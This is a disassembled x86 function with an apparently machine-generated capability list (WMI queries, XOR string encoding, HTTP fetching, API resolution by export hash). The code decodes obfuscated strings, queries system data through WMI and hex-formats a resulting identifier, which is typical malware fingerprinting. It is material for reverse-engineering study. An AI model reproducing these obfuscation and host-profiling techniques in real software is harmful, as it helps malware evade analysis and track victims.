Function at 0x438440
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44d2fc]
mov dword [esp + 0x18], 0xd98fdbff
mov dword [esp + 0x1c], 0xddabdf57
mov dword [esp + 0x20], 0xd1a9d3a8
mov dword [esp + 0x24], 0xd592d7a3
mov dword [esp + 0x28], 0xe995eba2
mov dword [esp + 0x2c], 0xed95ef62
mov dword [esp + 0x30], 0xe1e2e3d7
mov dword [esp + 0x34], 0
mov ecx, 0x4f
mov edx, 0x30
nop
nop
mov esi, edx
and esi, 0x24
mov ebx, ecx
and ebx, 0x5b
or ebx, esi
xor bl, byte [esp + ecx - 0x37]
xor bl, 0x24
add bl, 0x75
mov byte [esp + ecx - 0x37], bl
inc ecx
dec edx
cmp ecx, 0x6f
jne 0x4384a0
lea esi, [esp + 8]
lea ecx, [esp + 0x8c]
lea edi, [esp + 0x18]
push esi
push 8
push ecx
push 0xd
push edi
push 0
call eax
test eax, eax
jns 0x4384ea
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x14], 0x1535
mov dword [esp + 0x10], 0xcfe081c7
mov dword [esp + 0xc], 0xe2808395
mov dword [esp + 8], 0x1514d185
mov dword [esp + 0x58], 0
lea eax, [esp + 0x58]
push eax
push 0x443678
push 1
push 0
push 0x443688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x438ac6
mov dword [esp + 0x18], 0x519f4f9e
mov dword [esp + 0x1c], 0x55865381
mov dword [esp + 0x20], 0x59935788
mov dword [esp + 0x24], 0x5d955b93
mov dword [esp + 0x28], 0x616c5f8a
mov word [esp + 0x2c], 0x6360
mov dword [esp + 0x2e], 0
mov word [esp + 0x32], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0x1a
mov edx, ecx
xor edx, 0xd
add edx, esi
xor dl, byte [esp + ecx + 0x18]
add dl, 0xbf
mov byte [esp + ecx + 0x18], dl
inc ecx
add eax, 2
cmp ecx, 0x1c
jne 0x438590
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x58]
mov ecx, dword [esi]
lea edx, [esp + 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
lea esi, [esp + 8]
js 0x438ab2
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x70]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x438aa8
mov dword [esp + 0x18], 0xf74709b3
mov dword [esp + 0x1c], 0xf3f2f540
mov edi, 0xff2e4ffe
mov esi, 0xd1b001
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edi + 0xd1b01a]
mov edx, edi
and edx, ebx
add edx, edx
sub edx, ebx
add edx, esi
and edx, edi
mov eax, edx
not eax
and eax, 2
mov ecx, edx
and ecx, 0xfd
imul ecx, eax
sub bl, cl
mov eax, edx
shr al, 1
and al, 1
or dl, 2
mul dl
add al, al
sub bl, al
movzx eax, bl
add eax, edi
add al, 0xa
mov byte [esp + edi + 0xd1b01a], al
inc edi
dec esi
cmp edi, 0xff2e5006
jne 0x438630
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 0x18], 0x31f93fe9
mov dword [esp + 0x1c], 0x35f533ec
mov dword [esp + 0x20], 0xc9e237f1
mov dword [esp + 0x24], 0xcdf0cbe8
mov dword [esp + 0x28], 0xc108cfec
mov dword [esp + 0x2c], 0xc513c312
mov dword [esp + 0x30], 0xd9e6c71b
mov dword [esp + 0x34], 0xdd21db31
mov dword [esp + 0x38], 0xd1ebdf22
mov dword [esp + 0x3c], 0xd533d3e2
mov dword [esp + 0x40], 0xe90dd716
mov dword [esp + 0x44], 0xed3feb39
mov dword [esp + 0x48], 0xefec
mov byte [esp + 0x4c], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
mov esi, ecx
xor esi, 0x8b
mov edx, eax
and edx, 0x68
sub edx, esi
xor dl, byte [esp + ecx + 0x18]
add dl, 0xb7
mov byte [esp + ecx + 0x18], dl
inc ecx
add eax, 2
cmp ecx, 0x35
jne 0x438700
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x54]
mov ecx, dword [esi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
mov dword [esp + 0x80], edi
push edi
push esi
call dword [ecx + 0x50]
test eax, eax
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x18]
js 0x438a92
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea esi, [esp + 0x60]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x438a88
cmp eax, 1
je 0x438a88
cmp dword [esp + 0x5c], 0
je 0x438a88
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x18], 0xc1a9c7b9
mov dword [esp + 0x1c], 0xcda9c352
mov dword [esp + 0x20], 0xc95acfaf
mov dword [esp + 0x24], 0xf555cbbe
mov dword [esp + 0x28], 0xf194f763
mov dword [esp + 0x2c], 0xfd60f39f
mov dword [esp + 0x30], 0xfffc
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x18]
lea edx, [ecx + 0x76c4c051]
xor edx, esi
mov esi, edx
and esi, 0x6a
mov edi, edx
xor edi, 0x6a
lea ebx, [edi + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx + 0x18], bl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0x1c
jb 0x4387f0
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea edx, [esp + 0x28]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x18]
js 0x438a77
cmp word [esp + 0x78], 8
jne 0x438a77
mov eax, dword [esp + 0x80]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x68], eax
je 0x4388ad
add eax, 2
xor esi, esi
jmp 0x43888c
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4388af
cmp cx, 0x7f
jbe 0x438880
movzx edx, cx
cmp edx, 0x7ff
ja 0x4388a2
add esi, 2
jmp 0x438881
cmp cx, 0xffff
je 0x438881
add esi, 3
jmp 0x438881
xor esi, esi
mov dword [esp + 0x50], esi
lea eax, [esi + 1]
push eax
call fcn.004097b0
add esp, 4
mov esi, eax
mov dword [esp + 4], eax
cmp dword [esp + 0x50], 0
mov eax, dword [esp + 0x68]
je 0x438a02
movzx ecx, word [eax]
mov esi, dword [esp + 4]
test cx, cx
je 0x438a02
mov edx, dword [esp + 0x50]
mov esi, dword [esp + 4]
nop
nop
nop
nop
movzx ebx, cx
lea edi, [eax + 2]
cmp bx, 0x7f
ja 0x438910
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x4389a0
cmp ebx, 0x7ff
ja 0x438935
cmp edx, 2
jb 0x438935
mov ecx, ebx
shr ecx, 6
xor cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x4389a0
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x4389c1
cmp edx, 4
jb 0x4389c1
movzx edi, word [eax + 2]
add eax, 4
shl ebx, 0xa
lea ecx, [ebx + edi]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov ebx, ecx
lea ecx, [esi + 4]
mov byte [esi + 3], bl
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp + 8]
add edx, esi
sub edx, ecx
mov eax, edi
mov esi, ecx
movzx ecx, word [eax]
test cx, cx
lea edi, [esp + 0x18]
je 0x438a02
test edx, edx
jne 0x4388f0
jmp 0x438a02
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x4389d3
mov eax, edi
mov ebx, dword [ebp + 8]
jmp 0x4389ab
cmp edx, 3
jb 0x4389fe
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [esi + 2], bl
lea ecx, [esi + 3]
jmp 0x4389a0
mov ecx, esi
jmp 0x4389a0
mov byte [esi], 0
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x50]
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x438a67
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
mov dword [esp + 0xc], eax
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x438a67
mov eax, dword [esp + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x10], eax
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x438a67
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x14], eax
push dword [esp + 4]
call fcn.004097c0
add esp, 4
lea esi, [esp + 0x78]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x70]
call esi
push dword [esp + 0x6c]
call esi
lea esi, [esp + 8]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44c2f4]
call fcn.0043f2d0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esp + 0xa8]
push ecx
call eax
test eax, eax
je 0x438af6
mov esi, edi
imul eax, dword [esi], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 8], eax
mov edi, 0xffffffff
mov esi, 0xfffffffe
push 0x10
push 9
push ebx
push eax
call fcn.0041da10
add esp, 0x10
nop
nop
nop
add esi, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x438b20
xor edi, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, edi
je 0x438b4b
sub edi, esi
add eax, edi
push ecx
push 0x30
push eax
call fcn.00409940
add esp, 0xc
lea eax, [ebx + 8]
xor ecx, ecx
cmp dword [esp + 0xc], 0
setne cl
imul ecx, dword [esp + ecx*4 + 8], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0xc], ecx
mov esi, 0xfffffffe
mov edi, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041da10
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x438b90
xor edi, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, edi
je 0x438bbb
sub edi, esi
add eax, edi
push ecx
push 0x30
push eax
call fcn.00409940
add esp, 0xc
lea eax, [ebx + 0x10]
xor ecx, ecx
cmp dword [esp + 0x10], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0xc], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x10], ecx
mov esi, 0xfffffffe
mov edi, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041da10
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x438c00
xor edi, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, edi
je 0x438c2b
sub edi, esi
add eax, edi
push ecx
push 0x30
push eax
call fcn.00409940
add esp, 0xc
add ebx, 0x18
xor eax, eax
cmp dword [esp + 0x14], 0
setne al
imul eax, dword [esp + eax*4 + 0x10], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xfffffffe
mov edi, 0xffffffff
push 0x10
push 9
push ebx
push eax
call fcn.0041da10
add esp, 0x10
nop
nop
nop
add esi, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x438c60
xor edi, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, edi
je 0x438c8b
sub edi, esi
add eax, edi
push ecx
push 0x30
push eax
call fcn.00409940
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret